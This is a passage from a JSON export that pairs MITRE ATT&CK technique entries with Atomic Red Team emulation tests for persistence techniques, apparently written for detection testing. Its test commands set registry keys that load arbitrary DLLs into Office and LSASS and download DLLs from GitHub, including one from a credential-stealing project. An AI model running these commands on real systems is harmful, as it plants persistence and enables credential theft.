- {
- "url": "https://www.synack.com/wp-content/uploads/2016/03/RSA_OSX_Malware.pdf",
- "description": "Patrick Wardle. (2016, February 29). Let's Play Doctor: Practical OS X Malware Detection & Analysis. Retrieved July 10, 2017.",
- "source_name": "OSX Malware Detection"
- },
- {
- "url": "https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-wirelurker.pdf",
- "description": "Claud Xiao. (n.d.). WireLurker: A New Era in iOS and OS X Malware. Retrieved July 10, 2017.",
- "source_name": "WireLurker"
- }
- ],
- "modified": "2020-03-19T15:08:50.043Z",
- "name": "Launch Daemon",
- "description": "Per Apple\u2019s developer documentation, when macOS and OS X boot up, launchd is run to finish system initialization. This process loads the parameters for each launch-on-demand system-level daemon from the property list (plist) files found in /System/Library/LaunchDaemons
and /Library/LaunchDaemons
(Citation: AppleDocs Launch Agent Daemons). These LaunchDaemons have property list files which point to the executables that will be launched (Citation: Methods of Mac Malware Persistence).\n \nAdversaries may install a new launch daemon that can be configured to execute at startup by using launchd or launchctl to load a plist into the appropriate directories (Citation: OSX Malware Detection). The daemon name may be disguised by using a name from a related operating system or benign software (Citation: WireLurker). Launch Daemons may be created with administrator privileges, but are executed under root privileges, so an adversary may also use a service to escalate privileges from administrator to root.\n \nThe plist file permissions must be root:wheel, but the script or program that it points to has no such requirement. So, it is possible for poor configurations to allow an adversary to modify a current Launch Daemon\u2019s executable and gain persistence or Privilege Escalation.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- }
- ],
- "x_mitre_detection": "Monitor Launch Daemon creation through additional plist files and utilities such as Objective-See's Knock Knock application.",
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_permissions_required": [
- "Administrator"
- ],
- "x_mitre_effective_permissions": [
- "root"
- ]
- },
- "atomic_tests": []
- },
- "T1037.001": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--eb125d40-0b2d-41ac-a71a-3229241c2cd3",
- "type": "attack-pattern",
- "created": "2020-01-10T03:43:37.211Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1037.001",
- "url": "https://attack.mitre.org/techniques/T1037/001"
- },
- {
- "url": "https://technet.microsoft.com/en-us/library/cc758918(v=ws.10).aspx",
- "description": "Microsoft. (2005, January 21). Creating logon scripts. Retrieved April 27, 2016.",
- "source_name": "TechNet Logon Scripts"
- },
- {
- "source_name": "Hexacorn Logon Scripts",
- "url": "http://www.hexacorn.com/blog/2014/11/14/beyond-good-ol-run-key-part-18/",
- "description": "Hexacorn. (2014, November 14). Beyond good ol\u2019 Run key, Part 18. Retrieved November 15, 2019."
- }
- ],
- "modified": "2020-03-24T23:45:03.153Z",
- "name": "Boot or Logon Initialization Scripts: Logon Script (Windows)",
- "description": "Adversaries may use Windows logon scripts automatically executed at logon initialization to establish persistence. Windows allows logon scripts to be run whenever a specific user or group of users log into a system.(Citation: TechNet Logon Scripts) This is done via adding a path to a script to the HKCU\\Environment\\UserInitMprLogonScript
Registry key.(Citation: Hexacorn Logon Scripts)\n\nAdversaries may use these scripts to maintain persistence on a single system. Depending on the access configuration of the logon scripts, either local credentials or an administrator account may be necessary. ",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- }
- ],
- "x_mitre_detection": "Monitor for changes to Registry values associated with Windows logon scrips, nameley HKCU\\Environment\\UserInitMprLogonScript
.\n\nMonitor running process for actions that could be indicative of abnormal programs or executables running upon logon.",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Process: Process Creation",
- "Command: Command Execution",
- "Windows Registry: Windows Registry Key Creation"
- ],
- "identifier": "T1037.001"
- },
- "atomic_tests": [
- {
- "name": "Logon Scripts",
- "auto_generated_guid": "d6042746-07d4-4c92-9ad8-e644c114a231",
- "description": "Adds a registry value to run batch script created in the %temp% directory. Upon execution, there will be a new environment variable in the HKCU\\Environment key\nthat can be viewed in the Registry Editor.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "script_path": {
- "description": "Path to .bat file",
- "type": "string",
- "default": "%temp%\\art.bat"
- },
- "script_command": {
- "description": "Command To Execute",
- "type": "string",
- "default": "echo Art \"Logon Script\" atomic test was successful. >> %USERPROFILE%\\desktop\\T1037.001-log.txt"
- }
- },
- "executor": {
- "command": "echo \"#{script_command}\" > #{script_path}\nREG.exe ADD HKCU\\Environment /v UserInitMprLogonScript /t REG_SZ /d \"#{script_path}\" /f\n",
- "cleanup_command": "REG.exe DELETE HKCU\\Environment /v UserInitMprLogonScript /f >nul 2>&1\ndel #{script_path} >nul 2>&1\ndel \"%USERPROFILE%\\desktop\\T1037.001-log.txt\" >nul 2>&1\n",
- "name": "command_prompt"
- }
- }
- ]
- },
- "T1137.002": {
- "technique": {
- "x_mitre_platforms": [
- "Windows",
- "Office 365"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--ed7efd4d-ce28-4a19-a8e6-c58011eb2c7a",
- "type": "attack-pattern",
- "created": "2019-11-07T19:44:04.475Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1137.002",
- "url": "https://attack.mitre.org/techniques/T1137/002"
- },
- {
- "url": "http://www.hexacorn.com/blog/2014/04/16/beyond-good-ol-run-key-part-10/",
- "description": "Hexacorn. (2014, April 16). Beyond good ol\u2019 Run key, Part 10. Retrieved July 3, 2017.",
- "source_name": "Hexacorn Office Test"
- },
- {
- "url": "https://researchcenter.paloaltonetworks.com/2016/07/unit42-technical-walkthrough-office-test-persistence-method-used-in-recent-sofacy-attacks/",
- "description": "Falcone, R. (2016, July 20). Technical Walkthrough: Office Test Persistence Method Used In Recent Sofacy Attacks. Retrieved July 3, 2017.",
- "source_name": "Palo Alto Office Test Sofacy"
- }
- ],
- "modified": "2021-08-16T21:35:17.618Z",
- "name": "Office Application Startup: Office Test",
- "description": "Adversaries may abuse the Microsoft Office \"Office Test\" Registry key to obtain persistence on a compromised system. An Office Test Registry location exists that allows a user to specify an arbitrary DLL that will be executed every time an Office application is started. This Registry key is thought to be used by Microsoft to load DLLs for testing and debugging purposes while developing Office applications. This Registry key is not created by default during an Office installation.(Citation: Hexacorn Office Test)(Citation: Palo Alto Office Test Sofacy)\n\nThere exist user and global Registry keys for the Office Test feature:\n\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Office test\\Special\\Perf
\n* HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Office test\\Special\\Perf
\n\nAdversaries may add this Registry key and specify a malicious DLL that will be executed whenever an Office application, such as Word or Excel, is started.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- }
- ],
- "x_mitre_detection": "Monitor for the creation of the Office Test Registry key. Many Office-related persistence mechanisms require changes to the Registry and for binaries, files, or scripts to be written to disk or existing files modified to include malicious scripts. Collect events related to Registry key creation and modification for keys that could be used for Office-based persistence. Since v13.52, Autoruns can detect tasks set up using the Office Test Registry key.(Citation: Palo Alto Office Test Sofacy)\n\nConsider monitoring Office processes for anomalous DLL loads.",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.1",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Module: Module Load",
- "Windows Registry: Windows Registry Key Modification",
- "File: File Modification",
- "Process: Process Creation",
- "Command: Command Execution",
- "File: File Creation",
- "Windows Registry: Windows Registry Key Creation"
- ],
- "x_mitre_permissions_required": [
- "Administrator",
- "User"
- ],
- "x_mitre_system_requirements": [
- "Office 2007, 2010, 2013, and 2016"
- ],
- "identifier": "T1137.002"
- },
- "atomic_tests": [
- {
- "name": "Office Application Startup Test Persistence (HKCU)",
- "auto_generated_guid": "c3e35b58-fe1c-480b-b540-7600fb612563",
- "description": "Office Test Registry location exists that allows a user to specify an arbitrary DLL that will be executed every time an Office\napplication is started. Key is used for debugging purposes. Not created by default & exist in HKCU & HKLM hives.\n",
- "supported_platforms": [
- "windows"
- ],
- "dependencies": [
- {
- "description": "Microsoft Word must be installed\n",
- "prereq_command": "try {\n New-Object -COMObject \"Word.Application\" | Out-Null\n Stop-Process -Name \"winword\"\n exit 0\n} catch { exit 1 }\n",
- "get_prereq_command": "Write-Host \"You will need to install Microsoft Word manually to meet this requirement\"\n"
- },
- {
- "description": "DLL files must exist on disk at specified location",
- "prereq_command": "if ((Test-Path \"PathToAtomicsFolder\\T1137.002\\bin\\officetest_x64.dll\") -and (Test-Path \"PathToAtomicsFolder\\T1137.002\\bin\\officetest_x86.dll\")) {exit 0} else {exit 1}\n",
- "get_prereq_command": "New-Item -Type Directory \"PathToAtomicsFolder\\T1137.002\\bin\\\" -Force | Out-Null\nInvoke-Webrequest -Uri \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1137.002/bin/officetest_x64.dll\" -UseBasicParsing -OutFile \"PathToAtomicsFolder\\T1137.002\\bin\\officetest_x64.dll\"\nInvoke-Webrequest -Uri \"htps://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1137.002/bin/officetest_x86.dll\" -UseBasicParsing -OutFile \"PathToAtomicsFolder\\T1137.002\\bin\\officetest_x86.dll\""
- }
- ],
- "executor": {
- "name": "powershell",
- "command": "$wdApp = New-Object -COMObject \"Word.Application\"\nif(-not $wdApp.path.contains(\"Program Files (x86)\")) \n{\n Write-Host \"64-bit Office\"\n reg add \"HKEY_CURRENT_USER\\Software\\Microsoft\\Office test\\Special\\Perf\" /t REG_SZ /d \"PathToAtomicsFolder\\T1137.002\\bin\\officetest_x64.dll\" /f \n}\nelse{\n Write-Host \"32-bit Office\"\n reg add \"HKEY_CURRENT_USER\\Software\\Microsoft\\Office test\\Special\\Perf\" /t REG_SZ /d \"PathToAtomicsFolder\\T1137.002\\bin\\officetest_x86.dll\" /f\n}\nStop-Process -Name \"WinWord\" \nStart-Process \"WinWord\"\n",
- "cleanup_command": "Stop-Process -Name \"notepad\",\"WinWord\" -ErrorAction Ignore\nRemove-Item \"HKCU:\\Software\\Microsoft\\Office test\\Special\\Perf\" -ErrorAction Ignore"
- }
- }
- ]
- },
- "T1547.008": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Vincent Le Toux"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--f0589bc3-a6ae-425a-a3d5-5659bfee07f4",
- "created": "2020-01-24T18:38:55.801Z",
- "x_mitre_version": "1.0",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1547.008",
- "url": "https://attack.mitre.org/techniques/T1547/008"
- },
- {
- "source_name": "Microsoft LSA Protection Mar 2014",
- "url": "https://technet.microsoft.com/library/dn408187.aspx",
- "description": "Microsoft. (2014, March 12). Configuring Additional LSA Protection. Retrieved November 27, 2017."
- },
- {
- "source_name": "Microsoft DLL Security",
- "url": "https://msdn.microsoft.com/library/windows/desktop/ff919712.aspx",
- "description": "Microsoft. (n.d.). Dynamic-Link Library Security. Retrieved November 27, 2017."
- },
- {
- "source_name": "Microsoft Security Subsystem",
- "url": "https://technet.microsoft.com/library/cc961760.aspx",
- "description": "Microsoft. (n.d.). Security Subsystem Architecture. Retrieved November 27, 2017."
- },
- {
- "source_name": "TechNet Autoruns",
- "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902",
- "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016."
- }
- ],
- "x_mitre_deprecated": false,
- "revoked": false,
- "description": "Adversaries may modify or add LSASS drivers to obtain persistence on compromised systems. The Windows security subsystem is a set of components that manage and enforce the security policy for a computer or domain. The Local Security Authority (LSA) is the main component responsible for local security policy and user authentication. The LSA includes multiple dynamic link libraries (DLLs) associated with various other security functions, all of which run in the context of the LSA Subsystem Service (LSASS) lsass.exe process.(Citation: Microsoft Security Subsystem)\n\nAdversaries may target LSASS drivers to obtain persistence. By either replacing or adding illegitimate drivers (e.g., [Hijack Execution Flow](https://attack.mitre.org/techniques/T1574)), an adversary can use LSA operations to continuously execute malicious payloads.",
- "modified": "2022-04-20T16:34:43.405Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "Boot or Logon Autostart Execution: LSASS Driver",
- "x_mitre_detection": "With LSA Protection enabled, monitor the event logs (Events 3033 and 3063) for failed attempts to load LSA plug-ins and drivers. (Citation: Microsoft LSA Protection Mar 2014) Also monitor DLL load operations in lsass.exe. (Citation: Microsoft DLL Security)\n\nUtilize the Sysinternals Autoruns/Autorunsc utility (Citation: TechNet Autoruns) to examine loaded drivers associated with the LSA. ",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- }
- ],
- "x_mitre_is_subtechnique": true,
- "x_mitre_data_sources": [
- "File: File Creation",
- "Module: Module Load",
- "File: File Modification",
- "Driver: Driver Load"
- ],
- "x_mitre_permissions_required": [
- "SYSTEM",
- "Administrator"
- ],
- "x_mitre_attack_spec_version": "2.1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "identifier": "T1547.008"
- },
- "atomic_tests": [
- {
- "name": "Modify Registry to load Arbitrary DLL into LSASS - LsaDbExtPt",
- "auto_generated_guid": "8ecef16d-d289-46b4-917b-0dba6dc81cf1",
- "description": "The following Atomic will modify an undocumented registry key that may be abused to load a arbitrary DLL into LSASS. \n\nUpon execution, the registry key will be modified and a value will contain the path to the DLL. \nReference: https://blog.xpnsec.com/exploring-mimikatz-part-1/ and source https://github.com/oxfemale/LogonCredentialsSteal\nNote that if any LSA based protection is enabled, this will most likely not be successful with LSASS.exe loading the DLL.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "dll_path": {
- "description": "Module to be loaded into LSASS",
- "type": "path",
- "default": "$env:TEMP\\lsass_lib.dll"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "lsass_lib.dll must exist on disk at specified location (#{dll_path})\n",
- "prereq_command": "if (Test-Path #{dll_path}) {exit 0} else {exit 1}\n",
- "get_prereq_command": "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nInvoke-WebRequest \"https://github.com/oxfemale/LogonCredentialsSteal/raw/53e74251f397ddeab2bd1348c3ff26d702cfd836/lsass_lib/x64/Release/lsass_lib.dll\" -UseBasicParsing -OutFile \"#{dll_path}\"\n"
- }
- ],
- "executor": {
- "command": "New-ItemProperty -Path HKLM:\\SYSTEM\\CurrentControlSet\\Services\\NTDS -Name LsaDbExtPt -Value \"#{dll_path}\"\n",
- "cleanup_command": "Remove-ItemProperty -Path \"HKLM:\\SYSTEM\\CurrentControlSet\\Services\\NTDS\" -Name \"LsaDbExtPt\" -ErrorAction Ignore | Out-Null\n",
- "name": "powershell",
- "elevation_required": true
- }
- }
- ]
- },
- "T1078.004": {
- "technique": {
- "x_mitre_platforms": [
- "Azure AD",
- "Office 365",
- "SaaS",
- "IaaS",
- "Google Workspace"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Jon Sternstein, Stern Security"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--f232fa7a-025c-4d43-abc7-318e81a73d65",
- "created": "2020-03-13T20:36:57.378Z",
- "x_mitre_version": "1.4",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1078.004",
- "url": "https://attack.mitre.org/techniques/T1078/004"
- },
- {
- "source_name": "AWS Identity Federation",
- "url": "https://aws.amazon.com/identity/federation/",
- "description": "Amazon. (n.d.). Identity Federation in AWS. Retrieved March 13, 2020."
- },
- {
- "source_name": "Google Federating GC",
- "url": "https://cloud.google.com/solutions/federating-gcp-with-active-directory-introduction",
- "description": "Google. (n.d.). Federating Google Cloud with Active Directory. Retrieved March 13, 2020."
- },
- {
- "source_name": "Microsoft Deploying AD Federation",
- "url": "https://docs.microsoft.com/en-us/windows-server/identity/ad-fs/deployment/how-to-connect-fed-azure-adfs",
- "description": "Microsoft. (n.d.). Deploying Active Directory Federation Services in Azure. Retrieved March 13, 2020."
- }
- ],
- "x_mitre_deprecated": false,
- "revoked": false,
- "description": "Adversaries may obtain and abuse credentials of a cloud account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Cloud accounts are those created and configured by an organization for use by users, remote support, services, or for administration of resources within a cloud service provider or SaaS application. In some cases, cloud accounts may be federated with traditional identity management system, such as Window Active Directory.(Citation: AWS Identity Federation)(Citation: Google Federating GC)(Citation: Microsoft Deploying AD Federation)\n\nCompromised credentials for cloud accounts can be used to harvest sensitive data from online storage accounts and databases. Access to cloud accounts can also be abused to gain Initial Access to a network by abusing a [Trusted Relationship](https://attack.mitre.org/techniques/T1199). Similar to [Domain Accounts](https://attack.mitre.org/techniques/T1078/002), compromise of federated cloud accounts may allow adversaries to more easily move laterally within an environment.\n\nOnce a cloud account is compromised, an adversary may perform [Account Manipulation](https://attack.mitre.org/techniques/T1098) - for example, by adding [Additional Cloud Roles](https://attack.mitre.org/techniques/T1098/003) - to maintain persistence and potentially escalate their privileges.",
- "modified": "2022-04-19T20:23:33.894Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "Valid Accounts: Cloud Accounts",
- "x_mitre_detection": "Monitor the activity of cloud accounts to detect abnormal or malicious behavior, such as accessing information outside of the normal function of the account or account usage at atypical hours.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "initial-access"
- }
- ],
- "x_mitre_is_subtechnique": true,
- "x_mitre_data_sources": [
- "Logon Session: Logon Session Creation",
- "User Account: User Account Authentication",
- "Logon Session: Logon Session Metadata"
- ],
- "x_mitre_permissions_required": [
- "User",
- "Administrator"
- ],
- "x_mitre_attack_spec_version": "2.1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "identifier": "T1078.004"
- },
- "atomic_tests": []
- },
- "T1053.002": {
- "technique": {
- "x_mitre_platforms": [
- "Windows",
- "Linux",
- "macOS"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--f3d95a1f-bba2-44ce-9af7-37866cd63fd0",
- "created": "2019-11-27T13:52:45.853Z",
- "x_mitre_version": "2.0",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1053.002",
- "url": "https://attack.mitre.org/techniques/T1053/002"
- },
- {
- "source_name": "rowland linux at 2019",
- "url": "https://www.linkedin.com/pulse/getting-attacker-ip-address-from-malicious-linux-job-craig-rowland/",
- "description": "Craig Rowland. (2019, July 25). Getting an Attacker IP Address from a Malicious Linux At Job. Retrieved October 15, 2021."
- },
- {
- "source_name": "GTFObins at",
- "url": "https://gtfobins.github.io/gtfobins/at/",
- "description": "Emilio Pinna, Andrea Cardaci. (n.d.). gtfobins at. Retrieved September 28, 2021."
- },
- {
- "source_name": "Linux at",
- "url": "https://man7.org/linux/man-pages/man1/at.1p.html",
- "description": "IEEE/The Open Group. (2017). at(1p) \u2014 Linux manual page. Retrieved February 25, 2022."
- },
- {
- "source_name": "Twitter Leoloobeek Scheduled Task",
- "url": "https://twitter.com/leoloobeek/status/939248813465853953",
- "description": "Loobeek, L. (2017, December 8). leoloobeek Status. Retrieved December 12, 2017."
- },
- {
- "source_name": "Microsoft Scheduled Task Events Win10",
- "url": "https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/audit-other-object-access-events",
- "description": "Microsoft. (2017, May 28). Audit Other Object Access Events. Retrieved June 27, 2019."
- },
- {
- "source_name": "TechNet Scheduled Task Events",
- "url": "https://technet.microsoft.com/library/dd315590.aspx",
- "description": "Microsoft. (n.d.). General Task Registration. Retrieved December 12, 2017."
- },
- {
- "source_name": "TechNet Autoruns",
- "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902",
- "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016."
- },
- {
- "source_name": "TechNet Forum Scheduled Task Operational Setting",
- "url": "https://social.technet.microsoft.com/Forums/en-US/e5bca729-52e7-4fcb-ba12-3225c564674c/scheduled-tasks-history-retention-settings?forum=winserver8gen",
- "description": "Satyajit321. (2015, November 3). Scheduled Tasks History Retention settings. Retrieved December 12, 2017."
- }
- ],
- "x_mitre_deprecated": false,
- "revoked": false,
- "description": "Adversaries may abuse the [at](https://attack.mitre.org/software/S0110) utility to perform task scheduling for initial or recurring execution of malicious code. The [at](https://attack.mitre.org/software/S0110) utility exists as an executable within Windows, Linux, and macOS for scheduling tasks at a specified time and date. Although deprecated in favor of [Scheduled Task](https://attack.mitre.org/techniques/T1053/005)'s [schtasks](https://attack.mitre.org/software/S0111) in Windows environments, using [at](https://attack.mitre.org/software/S0110) requires that the Task Scheduler service be running, and the user to be logged on as a member of the local Administrators group.\n\nOn Linux and macOS, [at](https://attack.mitre.org/software/S0110) may be invoked by the superuser as well as any users added to the at.allow
file. If the at.allow
file does not exist, the at.deny
file is checked. Every username not listed in at.deny
is allowed to invoke [at](https://attack.mitre.org/software/S0110). If the at.deny
exists and is empty, global use of [at](https://attack.mitre.org/software/S0110) is permitted. If neither file exists (which is often the baseline) only the superuser is allowed to use [at](https://attack.mitre.org/software/S0110).(Citation: Linux at)\n\nAdversaries may use [at](https://attack.mitre.org/software/S0110) to execute programs at system startup or on a scheduled basis for [Persistence](https://attack.mitre.org/tactics/TA0003). [at](https://attack.mitre.org/software/S0110) can also be abused to conduct remote [Execution](https://attack.mitre.org/tactics/TA0002) as part of [Lateral Movement](https://attack.mitre.org/tactics/TA0008) and/or to run a process under the context of a specified account (such as SYSTEM).\n\nIn Linux environments, adversaries may also abuse [at](https://attack.mitre.org/software/S0110) to break out of restricted environments by using a task to spawn an interactive system shell or to run system commands. Similarly, [at](https://attack.mitre.org/software/S0110) may also be used for [Privilege Escalation](https://attack.mitre.org/tactics/TA0004) if the binary is allowed to run as superuser via sudo
.(Citation: GTFObins at)",
- "modified": "2022-04-18T20:12:04.110Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "Scheduled Task/Job: At",
- "x_mitre_detection": "Monitor process execution from the svchost.exe in Windows 10 and the Windows Task Scheduler taskeng.exe for older versions of Windows. (Citation: Twitter Leoloobeek Scheduled Task) If scheduled tasks are not used for persistence, then the adversary is likely to remove the task when the action is complete. Monitor Windows Task Scheduler stores in %systemroot%\\System32\\Tasks for change entries related to scheduled tasks that do not correlate with known software, patch cycles, etc.\n\nConfigure event logging for scheduled task creation and changes by enabling the \"Microsoft-Windows-TaskScheduler/Operational\" setting within the event logging service. (Citation: TechNet Forum Scheduled Task Operational Setting) Several events will then be logged on scheduled task activity, including: (Citation: TechNet Scheduled Task Events)(Citation: Microsoft Scheduled Task Events Win10)\n\n* Event ID 106 on Windows 7, Server 2008 R2 - Scheduled task registered\n* Event ID 140 on Windows 7, Server 2008 R2 / 4702 on Windows 10, Server 2016 - Scheduled task updated\n* Event ID 141 on Windows 7, Server 2008 R2 / 4699 on Windows 10, Server 2016 - Scheduled task deleted\n* Event ID 4698 on Windows 10, Server 2016 - Scheduled task created\n* Event ID 4700 on Windows 10, Server 2016 - Scheduled task enabled\n* Event ID 4701 on Windows 10, Server 2016 - Scheduled task disabled\n\nTools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current scheduled tasks. (Citation: TechNet Autoruns)\n\nRemote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Tasks may also be created through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001), so additional logging may need to be configured to gather the appropriate data.\n\nIn Linux and macOS environments, monitor scheduled task creation using command-line invocation. Legitimate scheduled tasks may be created during installation of new software or through system administration functions. Look for changes to tasks that do not correlate with known software, patch cycles, etc. \n\nReview all jobs using the atq
command and ensure IP addresses stored in the SSH_CONNECTION
and SSH_CLIENT
variables, machines that created the jobs, are trusted hosts. All [at](https://attack.mitre.org/software/S0110) jobs are stored in /var/spool/cron/atjobs/
.(Citation: rowland linux at 2019)\n\nSuspicious program execution through scheduled tasks may show up as outlier processes that have not been seen before when compared against historical data. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for [Command and Control](https://attack.mitre.org/tactics/TA0011), learning details about the environment through [Discovery](https://attack.mitre.org/tactics/TA0007), and [Lateral Movement](https://attack.mitre.org/tactics/TA0008).",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "execution"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- }
- ],
- "x_mitre_is_subtechnique": true,
- "x_mitre_data_sources": [
- "Process: Process Creation",
- "Command: Command Execution",
- "Scheduled Job: Scheduled Job Creation",
- "File: File Modification"
- ],
- "x_mitre_permissions_required": [
- "Administrator",
- "User"
- ],
- "x_mitre_remote_support": true,
- "x_mitre_attack_spec_version": "2.1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "identifier": "T1053.002"
- },
- "atomic_tests": [
- {
- "name": "At.exe Scheduled task",
- "auto_generated_guid": "4a6c0dc4-0f2a-4203-9298-a5a9bdc21ed8",
- "description": "Executes cmd.exe\nNote: deprecated in Windows 8+\n\nUpon successful execution, cmd.exe will spawn at.exe and create a scheduled task that will spawn cmd at a specific time.\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "name": "command_prompt",
- "elevation_required": false,
- "command": "at 13:20 /interactive cmd\n"
- }
- }
- ]
- },
- "T1556": {
- "technique": {
- "x_mitre_platforms": [
- "Windows",
- "Linux",
- "macOS",
- "Network"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Chris Ross @xorrior"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--f4c1826f-a322-41cd-9557-562100848c84",
- "type": "attack-pattern",
- "created": "2020-02-11T19:01:56.887Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1556",
- "url": "https://attack.mitre.org/techniques/T1556"
- },
- {
- "url": "https://clymb3r.wordpress.com/2013/09/15/intercepting-password-changes-with-function-hooking/",
- "description": "Bialek, J. (2013, September 15). Intercepting Password Changes With Function Hooking. Retrieved November 21, 2017.",
- "source_name": "Clymb3r Function Hook Passwords Sept 2013"
- },
- {
- "source_name": "Dell Skeleton",
- "description": "Dell SecureWorks. (2015, January 12). Skeleton Key Malware Analysis. Retrieved April 8, 2019.",
- "url": "https://www.secureworks.com/research/skeleton-key-malware-analysis"
- },
- {
- "source_name": "Xorrior Authorization Plugins",
- "url": "https://xorrior.com/persistent-credential-theft/",
- "description": "Chris Ross. (2018, October 17). Persistent Credential Theft with Authorization Plugins. Retrieved April 22, 2021."
- },
- {
- "url": "https://technet.microsoft.com/en-us/library/dn487457.aspx",
- "description": "Microsoft. (2016, April 15). Audit Policy Recommendations. Retrieved June 3, 2016.",
- "source_name": "TechNet Audit Policy"
- },
- {
- "source_name": "dump_pwd_dcsync",
- "url": "https://adsecurity.org/?p=2053",
- "description": "Metcalf, S. (2015, November 22). Dump Clear-Text Passwords for All Admins in the Domain Using Mimikatz DCSync. Retrieved November 15, 2021."
- }
- ],
- "modified": "2022-02-10T22:26:33.374Z",
- "name": "Modify Authentication Process",
